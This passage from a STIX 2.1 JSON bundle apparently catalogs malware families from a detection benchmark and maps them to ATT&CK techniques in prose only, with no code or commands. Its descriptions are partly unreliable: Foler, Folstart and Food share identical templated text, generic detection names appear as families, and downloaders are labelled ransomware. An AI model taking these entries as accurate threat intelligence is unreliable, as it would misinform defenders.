      "id": "relationship--d4b29a2a-d63a-5ed9-8b4f-94f137c8460e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f871747d-6b5e-5063-a68a-6e933f15c2c0",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flystudi exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e8690a3-ce6f-558b-8058-d9c4b140615c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f871747d-6b5e-5063-a68a-6e933f15c2c0",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flystudi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--59462766-6508-5fab-8bd0-3bc6daf4cd24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Flystudio",
      "description": "FlyStudio (identified across enterprise antivirus detection signatures as Packer:Win32/FlyStudio, Trojan:Win32/FlyStudio, and Trojan.MalPack.FlyStudio) is a widely abused software packer and runtime environment analyzed by Microsoft Defender and Malwarebytes. Originally developed as a modular Chinese application development IDE, FlyStudio's compiled runtime wrappers and executable packing structures were heavily weaponized by cybercrime syndicates and underground malware authors to obfuscate secondary malicious binaries. FlyStudio packs underlying malicious payloads\u2014including remote access trojans (RATs), keyloggers, and DDoS bots\u2014into complex multi-layer runtime envelopes. Upon launch on an endpoint, the FlyStudio stub unpacks malicious DLLs and shellcode dynamically in memory, bypassing static signature-based detection mechanisms and antivirus heuristics. It establishes persistence by writing auto-start registry run entries under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and dropping runtime helper dependencies in %AppData% or %Temp%. (Observed samples in benchmark: 4,527)",
      "is_family": true,
      "malware_types": [
        "resource-exploitation"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Packer:Win32/FlyStudio",
        "Trojan:Win32/FlyStudio",
        "Trojan.MalPack.FlyStudio",
        "Win32/FlyStudio.Packer",
        "FlyStudio.Runtime"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Flystudio",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/flystudio"
        }
      ],
      "labels": [
        "packer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8db096b0-eb40-5909-ba93-4b41dc0690ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59462766-6508-5fab-8bd0-3bc6daf4cd24",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flystudio exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4c0aa84-7b73-52c8-8b16-07b4ee07fb31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59462766-6508-5fab-8bd0-3bc6daf4cd24",
      "target_ref": "attack-pattern--ed3e1a5f-06b6-507d-9fd6-af71cc9084a3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flystudio exhibits technique T1140 (Deobfuscate/Decode Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e653981d-718b-5ba9-b45e-d8335f6fe180",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59462766-6508-5fab-8bd0-3bc6daf4cd24",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flystudio exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c66ac000-45cd-5fee-ba11-c126d5a93ce0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59462766-6508-5fab-8bd0-3bc6daf4cd24",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flystudio exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae7eee33-fc47-56d8-9f2b-86e4468749b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59462766-6508-5fab-8bd0-3bc6daf4cd24",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flystudio exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6950f52f-c1fb-54b8-b20a-e627c93eb5d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59462766-6508-5fab-8bd0-3bc6daf4cd24",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flystudio exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6041cbbb-b6c0-5764-880d-d4ba463671bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fmgfagns0Sge",
      "description": "<h3>Executive Summary</h3>\n\"fmgfagns0sge\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention (which appears as random, machine-generated gibberish) strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis or machine-learning model, indicating a severe attempt by the malware to evade static signature detection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> fmgfagns0sge typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.fmgfagns0sge",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fmgfagns0Sge",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fmgfagns0sge"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cce18421-ef83-540a-99b7-56530d91ce21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6041cbbb-b6c0-5764-880d-d4ba463671bd",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fmgfagns0Sge exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9aefb842-e999-51a3-8ab2-4cd2bb21307f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6041cbbb-b6c0-5764-880d-d4ba463671bd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fmgfagns0Sge exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ac0b878-6b70-56db-a5c2-91ca3e12e9b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6041cbbb-b6c0-5764-880d-d4ba463671bd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fmgfagns0Sge exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38dec655-494f-56f0-bd6d-77a55bb6b1a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6041cbbb-b6c0-5764-880d-d4ba463671bd",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fmgfagns0Sge exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4037c698-2f93-5167-94af-0ee8ee1c3861",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fnwabyxmbkm",
      "description": "Trojan:Win32/Fnwabyxmbkm (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Fnwabyxmbkm' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names. The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fnwabyxmbkm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fnwabyxmbkm"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e700b006-6cc9-5692-9640-d5471909dc19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4037c698-2f93-5167-94af-0ee8ee1c3861",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fnwabyxmbkm exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56d2892a-fc25-5120-88a2-7e38dd0fcfc0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4037c698-2f93-5167-94af-0ee8ee1c3861",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fnwabyxmbkm exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2868a400-09bd-5883-ae06-452617563b9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4037c698-2f93-5167-94af-0ee8ee1c3861",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fnwabyxmbkm exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--34601ede-e105-5695-b86e-5aa50ff46c6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Foler",
      "description": "<h3>Executive Summary</h3>\nFoler is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFoler is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Foler operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Foler ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Foler receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Foler infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Foler executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Foler frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Foler",
        "Downloader.Foler",
        "Win32/Foler"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Foler",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/foler"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13f53f86-9992-55cc-aa56-6bbe0fc5069e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--34601ede-e105-5695-b86e-5aa50ff46c6b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Foler exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22bc56ef-49eb-564f-ab9a-a3e1e8b9ae84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--34601ede-e105-5695-b86e-5aa50ff46c6b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Foler exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f92e2070-ed2a-5c44-8197-dcffc36cdd7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--34601ede-e105-5695-b86e-5aa50ff46c6b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Foler exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--44f55a70-bb8f-5289-a30c-d988ff53d59e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Folstart",
      "description": "<h3>Executive Summary</h3>\nFolstart is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFolstart is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Folstart operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Folstart ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Folstart receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Folstart infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Folstart executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Folstart frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Folstart",
        "Downloader.Folstart",
        "Win32/Folstart"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Folstart",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/folstart"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a819600-f158-5228-a13e-81aea8ef157a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44f55a70-bb8f-5289-a30c-d988ff53d59e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Folstart exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dcfc3afb-243f-50f7-b645-e437782c4232",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44f55a70-bb8f-5289-a30c-d988ff53d59e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Folstart exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0380884-3f4b-5cd9-b194-bc45f2a81d30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44f55a70-bb8f-5289-a30c-d988ff53d59e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Folstart exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5678ff62-c597-50a7-af49-83611b53b55b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fontra",
      "description": "Fontra (cataloged in antimalware repositories under signatures including BrowserModifier:Win32/Fontra, Adware:Win32/Fontra, and PUA:Win32/Fontra) is an intrusive adware framework and browser modifier active since 2014. Distributed predominantly through deceptive web font download packages, graphic asset archives, and software bundlers, Fontra modifies web browser configurations across Google Chrome, Mozilla Firefox, and Internet Explorer. It alters homepage and default search engine settings to affiliate advertising portals, injects unwanted banner advertisements and floating commercial pop-ups into visited web pages, and intercepts URL navigation to generate pay-per-click advertising revenue. Fontra creates persistent scheduled tasks and registry autostart keys to maintain persistence on compromised endpoints. (Observed samples in benchmark: 25)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/Fontra",
        "Adware:Win32/Fontra",
        "PUA:Win32/Fontra",
        "Win32/Fontra",
        "Fontra Adware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fontra",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fontra"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--aa222622-f91a-5698-825b-2c8ce919b171",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Food",
      "description": "<h3>Executive Summary</h3>\nFood (often classified generically as Trojan.Food or under broad heuristic signatures) is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFood is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Food operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Food ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Food receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Food infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Food executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Food frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Food",
        "Downloader.Food",
        "Win32/Food"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Food",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/food"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7cdcab26-1c78-5769-acdb-b264836b5776",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa222622-f91a-5698-825b-2c8ce919b171",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Food exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a946968-b0d0-5b41-9833-a97e829507f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa222622-f91a-5698-825b-2c8ce919b171",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Food exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2eb576d4-57da-5f82-895d-9b2e4032d3a5",
